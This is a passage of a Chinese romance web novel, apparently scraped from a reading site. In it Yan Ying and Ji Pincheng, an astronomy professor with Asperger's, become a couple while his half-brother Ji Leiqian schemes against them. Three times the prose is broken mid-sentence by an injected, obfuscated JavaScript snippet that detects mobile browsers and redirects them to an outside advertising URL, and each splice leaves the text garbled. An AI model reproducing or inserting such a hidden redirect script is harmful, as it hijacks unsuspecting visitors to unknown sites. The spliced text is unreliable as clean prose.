这个动作,像是青春时代,看的三流中二病的武侠小说里,女侠为受伤的侠侣输送功力,治疗心口所受的内伤。 “20xx年x月x日,我晏迎,和你季品诚绝交,中断朋友关系。” 季品诚别过了眼睛,心想,果然… 下一秒,她贴在他心口的手上移,一把拉住他的睡衣领口,将他的脸与自己靠近。 彼此温热的气息交融,卸下白日里,所有的防备。 “现在我们不是朋友了,我们要更改彼此之间的羁绊,重新缔结比朋友更亲密一点的关系。” “你愿意和我成为情侣,成为爱人,成为互相扶持的同道者,成为…” 她眉眼上扬,语气发狠,让季品诚一下子停止了思考。 所有理性的逻辑,都被她给打断了。 她说的是:“成为死了都要埋在一起的人吗?” 季品诚盯着她恣意漂亮的眼睛,一时间失语。 晏迎“啧”了一声:“快点回答我,你是愿意还是非常愿意?” 试问这一生里,能有几次,遇到这样明媚的人,恰好她还愿意,给予你最炙热的感情? 季品诚低声回答她,像是只说给她一个人听,连家里的家具都不可以听到。 他语气庄严如神父:“我非常愿意。” 23. 23 他说完“我非常愿意”之后,晏迎又亲了亲他的脸。 季品诚咳嗽一声:“你别老动手动脚的。” 晏迎答应他:“好,我不动手动脚,我动嘴。” 说完她又亲了他一下。 她捧住季品诚的脸,一字一句很认真地说:“季品诚,你别觉得自己有病,你挺好一人,我特别喜欢你。” 掌心之下,他的皮肤微微发烫。 她的眼神,她的语气,小火慢炖一般灼烧着他。 晏迎欢快道:“你觉得我正常不?” 季品诚抿唇摇了摇头,正常人说不出那些话来,也不会问别人自己正不正常。 “对啊,所以季老师你看,我们两个天生一对。” 时间已经不早了,他们躯体疲倦,灵魂亢奋,还在秉烛夜谈。 晏迎满意地看一眼季品诚好看的侧脸,光是和他坐在这里聊天就挺有意思的。 何当共剪西窗烛? 季品诚把室内温度又调高了一点。 晏迎得寸进尺地说道:“下次得买双舒服的拖鞋放在你家,喝水的杯子也该准备一对的情侣杯。” “诶,明天早上我来你家吃早饭你准备好醋和辣椒油啊,我喜欢这样蘸包子吃,你家有吗?没有的话我可以自带。” “有醋,没有辣椒油。” “哦,那我自带辣椒油。” 晏迎有些困了,她揉揉自己的眼睛,听到他在她耳边问道:“你什么时候看出来我的病?” “这重要吗?”她勾勾唇角,语气满不在乎,“刚刚知道和早就知道这个答案对你我来说其实没什么区别和意义。” “我既然选择在你身边,我就不会离开你。” “诶,季品诚,你别用这样的眼神看着我,我可不是精虫上脑突发圣母心做出的决定,我不是什么同情心泛滥的好人,我做事更喜欢权衡利弊。我对你思考过,犹豫过,反复斟酌过。” “但那些狗屁纠结现在看来,不过是在浪费时间。”她摸了摸他的脸:“人生撑死不过三万天,我想爱就爱了。” 人死之后什么也不能带走,活着还畏手畏脚,晏迎怕自己死不瞑目。 季品诚看着她的眼睛说:“阿斯伯格综合症带有明显的遗传性,我们以后的孩子很大几率也会成为阿斯伯格患者。” 晏迎挑眉,声音明显兴奋起来:“你都想到和我生孩子这步了?” 季品诚脸色涨红:“我只是在告诉你一个事实。” 既然都聊到这一步了,晏迎觉得再深入聊几句也没什么。 “季品诚,如果我说我不愿意生小孩,想要丁克呢?” “那最好的办法就是我去结扎。”他回答得很快,“Asperger的基因确实没有必要继承下去。” 晏迎没有想到他会这么果断。 她弯弯唇角:“那季老师,你还有什么顾虑吗?” 季品诚张了张嘴,却被她伸出手指按住。 “季品诚,你别老把坏话说到最前面,你说点好听的呗。” “什么算是好听的?” 晏迎歪着头想了一下:“说点吉利话,比如…比如说我们两个一定会长长久久。” 季品诚有点说不出口,他挣扎地看她一眼:“有点肉麻。” 在他的意识里,没有什么是可以长长久久的。 晏迎笑着替他说道:“我们两个一定会长长久久。” 真真假假不重要,是否会实现也不重要,重要的是,此时此刻,她想这么做就足够了。 季品诚摸了摸她的头发:“好。” 手机上的时间跳到零点,年月日跟着秒针不断向前,岁月寂静无声,永不停歇。 晏迎真的困了,她戳戳季品诚的手臂:“我好困,我先回家洗澡睡觉了,咱们明天早上见。” “好。”季品诚起身送她到门口。 晏迎关上门,几秒后,她重新用指纹解开了锁。 收拾东西的季品诚有些意外:“怎么了,是什么东西落在这里了吗?” 晏迎冲他眨眨眼睛:“没,是忘记和你亲口说晚安了。” “晚安,男朋友。” 季品诚站在暖黄色的灯光下冲她微笑:“晚安…” 晏迎在等他说后面那三个字。 季品诚如她所愿:“晚安,女朋友。” 晏迎满意地冲他挥挥手,关上了他家的门。 离开了那间温暖的房子,外面的冷风让她格外清醒。 晚风很冷,但她没有缩紧脖子去躲避,而是迎着风一步步走了下去。 季品诚就是季品诚,谁也无法代替。 手机上有一条未读消息,晏迎打开来看,是季磊谦发来的。 “到家了吗?” 晏迎看了一眼就关掉了,不准备回复。 问起来就当作自己睡着了没看见就好,她准备对季磊谦冷处理。 今天自己一错再错,就不该答应给他联系方式。 可自己不主动给,这位少爷只需要勾勾手指头,就会有人查出来送到他面前。 啧,烦死了。 他说的那些资源和机会都是看起来诱人的鱼饵,等着钓她上钩。 玩腻歪了再假惺惺地提分手,给一笔可观的分手费当年终奖金。 换做是以前,晏迎可能还会陪他玩玩。 就像是他自己说的那样,反正左右她不算亏。 但现在她有了其他追求,不乐意干这种没啥意思的事情了。 这种人身边最不缺的就是女人,晏迎心知肚明,自己不陪他玩,也有的是人愿意。 她只希望这位大少爷新鲜劲赶紧过去,把她抛之脑后。 季家确实是高枝,可是攀高枝背后,无形的代价数不胜数。 她只愿意,在刚刚那座温暖的小房子里,不顾仪态地倒在他怀里,和他乱七八糟说一通废话。 晏迎回到家的时候晏远已经睡着了,她没有吵醒她,洗了一个澡就回了自己的房间。 洗完澡之后精神多了。 她以为自己今天晚上肯定会失眠,但灯一关,陷入沉沉的黑暗时,她立马就睡着了。 早上起床的时候晏迎神清气爽,由于起得太早了,她还盘腿坐在床上玩了会手机。 她刷着购物软件,首页给她推送了情侣钥匙扣、情侣陶瓷杯、情侣手链… 晏迎:??? 这大数据真的是好神奇,好牛逼,好厉害。 她越刷推送得越多了,晏迎突然来了兴趣,认真挑选了起来。 嗯,这个情侣钥匙扣不错,非常有创意! 加入购物车! 诶,这个情侣杯子也有意思! 是两个可以抱在一起的小梨子,杯名“永不分梨”。 加入购物车! 晏迎把喜欢的一起加入购物车付款,抱着手机傻笑。 服了,晏迎你也有今天,像个刚谈恋爱的学生一样,在这些小玩意上下功夫。 她想象了一下季品诚收到礼物的表情,觉得更好笑了。 她起床化完妆,晏远刚刚睡醒,穿着睡衣和她招呼道:“姐,你昨天几点回来的,我太困了就自己先回房间睡了。” “我昨天回来的有点晚了,下次你也别等我,早点睡。” “对啦,”晏远冲妹妹笑道,“吃不吃早饭,一起去你姐夫家吃包子。” “什么馅的?”晏远迷迷糊糊地问道,过了几秒,她迅速反应过来,“姐姐你说去谁家?!” 还没等晏迎回答,晏远直接闪到了她面前:“姐夫?谁啊?” “还能有谁?” 标准答案只有一个。 “姐,你们时候在一起的?”她到底错过了什么好戏?! “昨天晚上,我喝多了,季老师也不太清醒,我们两个聊了会天,敞开心扉,坦诚相见,一拍即合,所以就...在一起了。” 晏迎特意跳过了她主动亲季品诚的片段,但她刚刚的话明显让晏远误会更深了。 晏远现在脸上的表情相当精彩。 呸呸呸,什么喝多了,不太清醒,坦诚相见... “我们什么都没做,就纯聊天。”晏迎扶住额头补充道,但怎么感觉越描越黑了? 晏远掐了自己一把,疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167302|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不是梦,也不是幻觉。 初晨的熹光透过干净的玻璃照了进来,晏远顺着那光看向了笑意盈盈的姐姐。 永远美丽的姐姐,永远潇洒的姐姐,永远敢爱敢恨的姐姐。 姐姐一直是她心中最好最好的人。 晏迎走到光的中央,冲妹妹笑道:“怎么啦,小远,你是开心还是...” 还是不喜欢自己的老师成为姐姐的男朋友? 晏远笑着摇摇头:“我是感叹季老师运气真好,姐姐不管和谁在一起,谁都会幸福的。” “你这亲妹滤镜也太重了,”晏迎拍拍她的肩膀,“要不要和我一起去吃早饭?” “不用了姐,我下午才有课,我还想回被窝多睡会呢。”晏远可不想做他们两个人之间的电灯泡,她走回房间,冲晏迎眨眨眼睛,“去吧姐姐,别让季老师久等了。” 晏迎拿着一罐子没开封的辣椒油进季品诚家门的时候,发现门口放着一双粉红色的毛绒拖鞋。 她笑着拿起来看了看码数,嗯,是自己的尺码。 季品诚在厨房蒸腾的热气里回头,发现她倚在厨房门口含笑看着他。 “需要我帮忙吗?季老师?”她脚上已经穿上了他买的那双粉红色毛绒拖鞋,显摆似得冲他晃了晃。 “不需要”这三个字还没有说出口,她又故作惊讶地捂住了嘴,“诶呀,我说错了,重新来。” “需要我帮忙吗?男朋友?” 一个白白胖胖,蓬松暄软的包子从季品诚手中的筷子里滑落,砸到了蒸锅的同胞头上。 季品诚被她逗笑,重新把包子夹起放在白色瓷盘中:“不需要,你坐餐桌那里等着开饭就好。” 想到了什么,他补充道:“你要是真想帮忙,就再洗双筷子,拿瓶醋过去就好。” “行。” 早餐很丰盛,特别中式,包子和现磨的花生豆浆。 晏迎的嘴很忙,要夸包子好吃,夸季品诚手艺好,还要咀嚼。 “季老师,你这个手艺可以开店了!” “嗯,你喜欢就好。” “太好吃了,比我上次去阳城出差吃到的特色包子还要好吃!” “嗯,你多吃点。” “季老师,你简直就是被天文系掩盖光芒的国宴厨神。” “嗯,你慢点吃,别太夸张。” “以后我们老了去开家餐馆吧,保证赚钱,不行,你只能做给我一个人吃。” “嗯,只做给你一个人吃。” 晏迎最后吃不完还兜着走,拿了几个回去给晏远吃。 “我去上班了季老师!” “好,路上注意安全。” 晏迎走了几步又回头,深灰色的围裙还穿在他身上,毛衣袖子撸到了胳膊肘处,露出青筋凸起,有力量感的手臂。 清亮的晨光给他的眉目镀上一层温柔的金色。 季品诚站在门口温和地看着她,冲她歪了歪头:“怎么了?” 晏迎站定,冲他回眸笑:“我觉得咱们少了点什么?” “什么?” 她跑过去,给了他一个拥抱。 今日阳光正好,你我都在,所以哪怕是短暂的告别,我都要用拥抱来终结。 季品诚被她拥抱住的时候错愕了几秒,随即,笑意浮动在他眼底。 他淡定地拥住她,轻轻拍了拍她的背:“晚上见。” “咔嚓”一声,有人拍下了他们站在门口拥抱的照片,发送给了刚刚健身结束,洗完澡喝咖啡的某人。 季磊谦的目光触及到照片上的两个身影,愣了几秒,嘴角缓缓扯出一个玩味的笑。 他的眼睛刮过晏迎的后脑勺,又仔细看了看那张和自己七分相似的脸,笑容越来越收不住了。 有意思,太有意思了。 哎呦,早知道这么有意思,他就不在M国呆那么久了。 他应该早点回国,和他们好好玩一玩。 他的手指点在晏迎的后脑勺上,轻轻往下滑动,仿佛是在隔着屏幕抚摸她柔顺的长发。 嗯,这女人,不回复他的消息,原来是忙着和大哥抱在了一起啊。 24. 24 晏迎今天的心情超级好,忙完了手里头的事情就站起来活动活动,看看那盆被她取名为“翠翠”的绿萝,给翠翠浇浇水,把翠翠搬出来晒晒太阳,夸翠翠生命力真顽强,长得真好看,是全南城最好看的绿萝。 维娜敲门进来的时候,晏迎已经恢复了正常。 她坐在了晏迎对面,一副欲言又止的模样。 晏迎冲维娜挑眉:“怎么啦维娜姐?吞吞吐吐可不是你女强人雷厉风行的性格。” “小迎,过几天有个饭局,季少点名要你去。” 晏迎握着鼠标的手顿住,她不自觉地皱眉,一下子不知道该说些什么。 她知道的,季磊谦这个级别,给维娜的,不是商量,是下达命令。 维娜也是迫不得已,她也不愿意让维娜为难。 招惹到季磊谦这人,自己也有百分之三十的责任,闲着没事在走廊上看他干什么呀... 晏迎闭眼,给自己做了一下心理建设,去就去呗,兵来将挡水来土掩,不怕他,不怕他。 大不了二十五年之后又是一条好汉。 维娜有些担忧地看着她,她知道季磊谦不是什么善茬,此刻她挺后悔昨天那个宴会让晏迎陪她一起去的。 “小迎,如果你...” 她话还没说完,晏迎微笑摇头打断了她:“没事,维娜姐,我可是你一手带出来的,混迹江湖多年,什么场面没见过,还是可以见招拆招的。” 晏迎摸了摸自己的嘴,好硬,天塌下来还有自己的嘴顶着。 她和放在办公桌上的绿萝对视一眼,翠翠,怎么办啊… 维娜也沉默了,季磊谦确实给公司介绍了几个大业务,但晏迎之于她的存在不仅仅是下属,更是朋友、徒弟以及妹妹。 她一点儿也没有把晏迎卖了去换公司前途的想法。 晏迎有些纠结地看维娜一眼,还是开口了:“维娜姐,那个饭局是正经饭局不?” “当然,”这个维娜可以向晏迎保证,“只是我担心的是,正儿八经的饭局背后,这位季少葫芦里卖的是什么药。” 晏迎觉得季磊谦葫芦里卖不出什么好药,肯定是老鼠药。 今天一天的好心情,都被季磊谦这个贱人毁了。 过了十几分钟,晏迎摸摸翠翠的叶子,心想算了,为他生气不值得。 晏迎午饭和维娜一起去了一家新开的火锅店吃火锅, 吃完火锅维娜被一个电话叫走,晏迎准备开车逛逛再回公司。 逛着逛着,她眼睛一眯,看到了熟人。 这两个小姑娘有点眼熟啊,不是晏远曾经的室友赵芸和陈茜茜吗? 她们两个这是遇到什么麻烦了?晏远把车开了过去准备看看热闹,说不定她好心还能帮一把呢。 赵芸和陈茜茜并肩站着,两个女孩子瞪着面前纹身的中年男人:“麻烦让一下。” 男人抱着手臂呵呵一笑,没有要让开的架势:“小美女,咱们加个微信,加完微信再喝两杯吗,这么急着走干什么?” 车窗被晏迎按下,这些对话被风吹得模糊不清,隐隐约约传到了她的耳朵里,让她蹙眉。 光天化日,什么王八犊子都有… 这还是市中心的繁华地段呢,就敢这么明目张胆了吗? 两方僵持不下,男人朝两个女孩子走近一步,她们就退后一步。 一声清脆的鸣笛传来,吸引了不少人的目光。 男人和两个女孩子都顺着这声音看去,对上晏迎一张面无表情的脸。 “她是…”陈茜茜觉得这个漂亮的女人有点眼熟,但是一下子想不起来是谁了。 “她是晏远的姐姐。”赵芸还和晏迎吵过架,她倒是把晏迎记得很清楚。 男人低头骂了一声:“有病吧,按什么喇叭。” 晏迎把车开过来,朝赵芸和陈茜茜抬了抬下巴:“上车,我送你们回学校,下午第一节的课可是季老师的课,你们再不上车,可不一定赶得上了。” 季品诚大魔王,她想到他就想笑。 赵芸拉着陈茜茜火速上了晏远的车,两个女孩子坐在车后座闻着车里好闻的小苍兰味香薰时,才彻彻底底松了一口气。 晏迎在关上车窗之前,对男人淡淡道:“你可以滚了。” 然后她打开车载音响,放了一首舒缓的轻音乐,掩盖了男人骂骂咧咧的声音。 晏迎你真的是太帅了,太飒了,太酷了,太善良了。 她表面上不动声色,心里早就把自己夸了一百八十遍。 汽车开远,晏远拿了一包水果乌龙糖给后座的两个女孩子:“小朋友吃点糖压压惊。” “谢谢…姐姐。” 还挺有礼貌,晏迎笑了笑。 “你为什么要帮我们?”拆开一颗水果糖放进嘴巴里,赵芸居然尝不出是苦还是甜。 按道理来说,她们之间有过过节,她应该袖手旁观的,她没什么帮她们的义务。 晏迎专心开车,笑着回答了她的问题:“我和你们又没有什么深仇大恨,不至于看你们落难被人骚扰我还在一边嗑瓜子看热闹。” “你们是我妹妹的同学,虽然你们和我妹妹的关系一言难尽,但我总想着帮帮你们,你们也可以对她友善点。” “当然了”,她的声音很理智,“你们也没有什么一定要对我妹妹友善的义务。” “做人做事,全凭良心罢了。” 赵芸和陈茜茜沉默了几秒,两个人对视一眼,陈茜茜开口:“我们和晏远也只是有些小矛盾,并没有深仇大恨,大是大非面前,我和赵芸以后可以帮到晏远我们也不会袖手旁观。” 人都是复杂的,而感情作为复杂人类生存着的重要组成部分,它被善与恶,爱与恨环绕,从来都不能用简单的是非黑白去定义。 晏迎把她们送到了南城大学的门口,才掉头回公司。 下午第一节课,晏远就觉得这一切不对劲。 首先,距离上课还有十分钟,教室里的人还没有来齐。 季老师淡定地带着电脑和书走到讲台上,和坐在前台的她对视一眼。 “你姐姐带给你的早饭好吃吗?” “好吃,”晏远忙点头,她压低声音对季品诚道,“季老师你简直就是被教育事业耽误的神厨。” 不愧是她的亲妹妹,季品诚笑了,夸人的话术都一模一样。 晏远隔着书细看季品诚一眼,啧,季老师和姐姐谈恋爱之后,人都变得慈祥和蔼可亲温柔起来了。 好姐姐,你真的是功德无量。 其次,晏远觉得赵芸和陈茜茜这两个死对头被人夺舍了。 她今天笔掉在地上了,赵芸还主动帮她捡起来。 下课之后,陈茜茜叫住了她:“晏远。” 晏远回头,和她们两个人对视:“怎么了?” “我和赵芸点了奶茶,你也有份。” “???”晏远嘴角抽了抽,“还有我的份?” 不儿,没下毒吧,今天怎么这么好心,以前两个人都是拿鼻孔看她的。 “对,”赵芸朝她笑了,“喝了我们的奶茶,以前的恩怨咱就不提了。” “晏远,做不成朋友,也希望我们可以以正常同学的身份相处。” 扎着高马尾的晏远在金黄色的阳光里抬头:“好。” “对了,我们给你特意点了三分糖的抹茶牛乳,加啵啵和芋泥版本。” “你们怎么知道我喜欢喝这个?” “毕竟我们,做过一段时间舍友。” 奶茶很好喝,晏远今天心情很好。 赵芸分了一半红豆铜锣烧给她:“晏远,你还是得注意点张浩,他其实一直在向我们打听你的消息。” “啊?”晏远咬牙,恶心人的混蛋还阴魂不散呢,她还以为他彻底安分了。 “但你放心,你搬走后,他问起我和茜茜,我们都说不知道。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15174266|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行,我会注意的。” 季品诚回到办公室的时候,老师们都聚集在一起叽叽喳喳讨论着什么。 “听说有个大人物给咱们捐了不少实验器材和实验经费呢。” “多少?” 有老师报了一个数字,其他人倒吸一口凉气。 “谁啊,这么大手笔?” “还能有谁?南城季家呗。” “原来是南城季家啊,听说季家独子最近回来了,可一直不知道长什么样子,这次的捐赠仪式可以看到他不?” “应该能,唉,有的人真会投胎,投胎到季家就算了,还是独生子。” “我怎么道听途说季局还有一个儿子?” “真的假的啊?” 季品诚翻书的动作一顿,像是被人定格住。 很多清晰的记忆涌上他的脑海,他的心情毫无波澜,但身体明显感觉到不适。 好像又回到了那段晦涩的时光,成为一具被人控制的,提线木偶。 母亲离世之后,他就迫不及待地逃了出来。 因为这座豪华的宅子拥有了新的女主人和小主人。 他不知道父亲什么时候在外面有了新的妻子,以及一个正常的,看起来开朗有礼貌的新儿子。 父亲给他取名叫“磊谦”,抱着他自豪地说:“我们磊谦长大之后一定会是一个光明磊落的谦谦君子。” 被父亲抱着的小孩抬头和他对视,露出一个完美的,没有破绽的香甜笑容。 “哥哥。” 他站在角落里,没有应答他。 父亲鄙夷地看他一眼,抱着小孩转过了身体。 “咱们磊谦不和他玩。” “磊谦,离他远一点。” 年少的季品诚盯着他们一家三口幸福的背影,第一次出现,非常强烈的躯体化反应。 他下意识地想要离开这里,去找母亲。 一回头,他和挂在墙上的,那张没有温度也没有色彩的黑白遗照对视。 照片里母亲温柔且悲悯地看着他,像是在教会他最后一课。 孩子,爱是分三六九等的。 如果一个人给予你最低等的爱,那不要也罢。 季家老宅,季国明在客厅闭目养神,电视上放着一些时事新闻。 季磊谦回家的时候被他轻轻叫住:“磊谦。” “怎么了爸?” 季国明抬头,用浑浊的眼睛看向风华正茂的儿子,目光带着几分探究:“怎么想起来给南城大学天文系捐实验器材和实验经费?” “天文专业是南城大学的王牌专业,这些年我在M国和同学一起投资炒股也赚了不少钱,作为南城人,支持一下家乡最好的大学也是应该的。” 季国明没有说话,他要听的可不是这些冠冕堂皇的话。 他知道谁现在在南城大学。 季磊谦笑了笑:“爸,其实还有一个最重要的理由呢。” 他把话说得是那样诚恳,像是发自肺腑一般。 “大哥与家里断交之后再也没有联系过,我这个做弟弟的,也不知道他在外面过得好不好,现在回国之后看到大哥的生活稳定我也开心。” “爸,我只是想让大哥过得更好一点。” 这个长子,始终是长在季国明心中一根尖锐的刺。 斩草除根拔掉显得自己未免太绝情,可是留着的话,又一直在刺挠着。 他朝季磊谦点点头:“难为你有这份心,但我们季家,不需要他这样的人。” 唉,老爷子也真够绝的,啧啧。 “知道了爸,季家的儿子,您有我一个就够了。” 保姆端着水和药走过来,季国明接过。 “爸,您的心脏好些了吗?” “还是老毛病犯了,这下得彻底戒烟酒了。” “您得多保重身体,张妈,以后爸的饮食得多注意。” 老爷子还有用处呢,不能死太早。 25. 25 I will 苏阿姨是在下午的时候回到了季家,她早上就给季品诚发了消息。 一进门,苏阿姨就愣住了。 门口怎么有一双粉红色的毛绒拖鞋? 苏阿姨看了一眼粉红色的拖鞋,嗯,她露出姨母笑,季教授终于开窍了。 季品诚这棵铁树开花不容易,希望别开的是昙花就好。 苏阿姨简单收拾了一下行李,就把从老家带的一些特产和自己家晒的干货在厨房的柜子里放好。 她还带了一些给晏迎,被她打包好妥帖地放在了袋子里。 她是真的喜欢晏迎,觉得她温柔友善又热心肠。 一想到晏迎,苏阿姨又把目光投向了那双粉红色的毛绒拖鞋。 这双拖鞋,十有八九就是晏迎的。 诶呦,苏阿姨笑了,季教授真的是好福气。 季品诚关掉电脑,准备下班。 天文学院的院长陈明和张峰一起推门进来了,办公室收拾东西的老师们面面相觑,这个点过来,难不成是又有了什么事情需要加班加点? 陈明的目光投向了季品诚,对其他老师道:“你们先走吧,我找季教授有事情。” 其他老师松了一口气,麻溜收拾完东西走人。 下班不积极,思想有问题。 季品诚站在原地,等人差不多走完了,他抬眼看向陈明:“您找我有事?” 他有种神奇的预感,不会是什么好事情。 张峰在旁边看他的表情也很微妙,季品诚和他对视一眼,就别过了眼睛。 陈明笑呵呵地开口:“季教授,下周的捐赠仪式,捐赠方那边点名要你上台进行交接呢。” 和谁交接?和谁一起站在舞台灯光之下被人万众瞩目?和谁握着手说着感恩戴德的话? 他生物学上的父亲还是生物学上的弟弟? 他一个也不愿意见。 “我不想去。”季品诚拒绝得很果断。 张峰看着他皱眉:“季老师,你说不想去就不想去?你知道这次捐赠对我们天文学院有多重要吗?” “你不能因为你个人,影响集体啊。” 陈明抬手,示意张峰言辞不要那么激烈,对待季品诚这样的人,得要有耐心。 “季教授,”陈明的笑容很和蔼,“你是有什么难言之隐吗?有什么困难就说出来大家一起解决。” 季品诚依旧面无表情:“没有。” 他垂在身体两侧的手不由自主地发抖。 “那既然没什么困难,那这种为咱们天文学院争光添彩的事情你何乐而不为呢?” 季品诚仍旧沉默,他在抑制自己无法控制的躯体化反应。 陈明伸出手拍拍季品诚的肩膀,他的动作让季品诚感到一阵恶心,像是卡在喉咙里面藏了十数年的鱼刺,即将要被拍打出来。 “季教授,你这么年轻,这么优秀,捐赠方也是看中你才让你上台,你就不要谦虚了。” “就是啊,季老师,你这种孤僻的性格老早和你说过了,要好好改改,这种千载难逢的机会换其他人都争破脑袋抢着要呢。” “那你们换其他人吧。”季品诚不想再多说一句废话,他从陈明和张峰之间的缝隙里穿过,头也不回的走了。 不能再待下去了,再待下去他得疯掉。 张峰想去追他的背影,被陈明一把拦住:“算了,捐赠方那边早知道他不会同意上台交接的。” 张峰有些错愕:“啊,那还让您亲自来劝他去?” 陈明皱眉推了推眼镜:“我也不明白上边到底是怎么个意思,明知道他肯定不会去,还让我来劝,像是故意让他知道似的。” “陈院长,您说,南城季家姓季,这季教授也姓季,别不是里面有什么特殊的关系?” 陈明直摇头:“谁知道呢,所以我刚刚让你对他客气点,这种事最难说了。” “那这次交接仪式谁上台呢?” 陈明看张峰一眼:“张教授,既然他不领情,那就你去吧。” 这话正中张峰下怀,他脸上的阴霾一扫而光,心满意足道:“好,交给我吧陈院长,我一定好好表现,不给咱们南城大学丢人。” 季品诚坐在车里没有发动,他的躯体化反应越来越严重了。 手抖、心脏疼,他现在静坐在车里,还出现了耳鸣的症状。 没有水,他直接拧开药瓶子倒出来几颗药,放在嘴里生咽了下去。 车现在是开不了了,得缓一缓。 手机里有苏阿姨的消息,问他今天几点下班,饭菜已经做好了。 季品诚拿稳手机,颤抖地打字回复道:“苏姨,我现在就下班了,马上回家。” 关掉手机,他趴在方向盘上闭眼,平复自己的心绪。 季家,又是季家,为什么总是阴魂不散,打扰他安静的生活? 尤其是,现在正是他刚刚靠近幸福的时候。 手机铃声响起,季品诚抬头看向手机屏幕,是晏迎的来电。 他接通电话,把耳朵贴紧手机,几近于贪婪地听着她的声音。 “季品诚,你下班了吗?” “嗯,下班了。”他尽力让自己的声音听起来平稳一些。 “那你现在在哪里?” “我现在...在回家的路上,一会就到家了,嗯...还有几个红绿灯,晚高峰时间,很堵车,你别等我了......” 他现在心很慌,说话都有点磕磕巴巴。 电话那头静默了几秒,传来她一声轻笑。 “季品诚,你真的不适合撒谎。” 他猛然抬起头,心跳几乎要漏掉一拍。 有人敲了敲他的车窗玻璃,是拿着手机和他正在通话的晏迎。 她的声音隔着玻璃,从他的电话那头传来,形成闭环的回音。 “季品诚”她的声音很严肃,他不知道她是不是有些生气了,“你不是还有几个红绿灯就到家了吗?” 季品诚失语,不知道该从哪里和她解释,他不是有意要骗她的。 晏迎挂断电话,打开车门坐在了他的副驾驶坐上。 他的手仍旧在轻微发抖,她坐进来靠近他的一瞬间,他抖动得更厉害了。 他浑身没有任何知觉,麻木到感受不到自己此刻的情绪,可心脏处却仿佛有两种力量在拉扯着他。 让他彻彻底底地割裂。 晏迎握紧他的手,他感受到了她是那样用力,好像再也不想放开。 在和她的触碰里,他稍稍镇定了下来。 晏迎没有问他为什么要说谎,也没有问他为什么还在这里。 季磊谦要给南城大学天文学院捐赠的消息,她从手机的公众号上看到了。 这个捐赠活动太巧合了,她怀疑季磊谦就是借着捐赠的幌子别有用心。 为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178431|164105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么偏偏是南城大学?还是季品诚所在的天文学院? 季磊谦这种人精不可能平白无故做好事的,他肯定知道季品诚就在这里。 晏迎咬牙切齿地想,他到底要干什么? 季品诚像是再也支撑不住,将自己的额头抵在了她的手上:“你别担心我,我就是这几天太累了而已。” “是吗?”晏迎低下头垂眸看他,呼出的热气惹得他耳朵发痒,“只是太累了就会难受到出现躯体化反应?接电话都手抖,车都开不了,还不好好爱惜自己身体,吃药都不过水直接咽下去?” 季品诚诧异地对上她的眼睛,原来她都看见了。 “你什么时候来的?” “在你难受到趴在方向盘上一动不动的时候。” “那你怎么不叫我?” 晏迎没有回答他的这个问题,只是伸出手轻轻拥抱住了他的头。 她不想告诉他,他在痛苦的时候,她发现自己也难过到,无法向前迈出那一步。 她傻傻地站在寒风里,看着他趴在方向盘上,然后眼底湿润。 王八犊子季磊谦,她在心里破口大骂。 车内狭小的空间里,两个人都没有再说话。 晏迎只是抱住他,像是照顾生病的小狗一样拍拍他的背,她现在也不知道该说些什么,只是单纯想陪陪他。 她不会质问他,不会逼他非要作出什么解释。 季品诚依靠着她,轻声道:“我真的有点累了。”这是大实话。 “嗯,我知道。” “幸好你来了。” “我...”晏迎一下子哽住,“不管你在哪里,只要你需要我,我都会找到你。” 这句话宛如散落在他理智深处的一朵火花,将他心底隐藏的,感知不到的情绪,迅速点燃。 他在她的拥抱里,情绪逐渐趋近稳定。 如果爱真的分三六九等,他想在自己力所能及的范围里,给她最上等。 他抬头望向她的眼底:“你不问问我今天到底怎么了吗?” “如果你想说的话,我很乐意做你的倾听者。” 晏迎笑着补充了一句:“如果你不愿意说,那我也不会非要知道,毕竟谁都有秘密不是吗?” 她永远理智,强大,包容和温柔。 季品诚紧张的心,彻底放松了下来,他握紧她的手,认真道:“谢谢你,晏迎。” “诶?我可不喜欢听这么客套的话。” 晏迎很有耐心地教他:“季老师,你想要表达谢意不只是可以说谢谢,你得说让我听了开心的话,这样才能更加真诚地向我表达感谢之情。” 季品诚思考了一下,清了清嗓子有点不好意思地夸道:“你真好看。” 晏迎歪头想了想:“不对,有一句话,会比你夸我好看还要让我开心。” “什么?” “你得说,我爱你。” 车内的空气静止了几秒,晏迎“噗嗤”一声笑了出来,她好笑地凑到季品诚的面前:“算了算了,这种肉麻的话实在是太为难我们季老师了,不逗你玩了,我知道你的心意就行。” 下一秒,季品诚的声音在她耳畔响起。 他用低沉的嗓音说着最真诚的字句,像是在低语只属于他们之间的十四行诗。 “Iwillalwaysloveyou,evenifmylifeends.” 26. 26 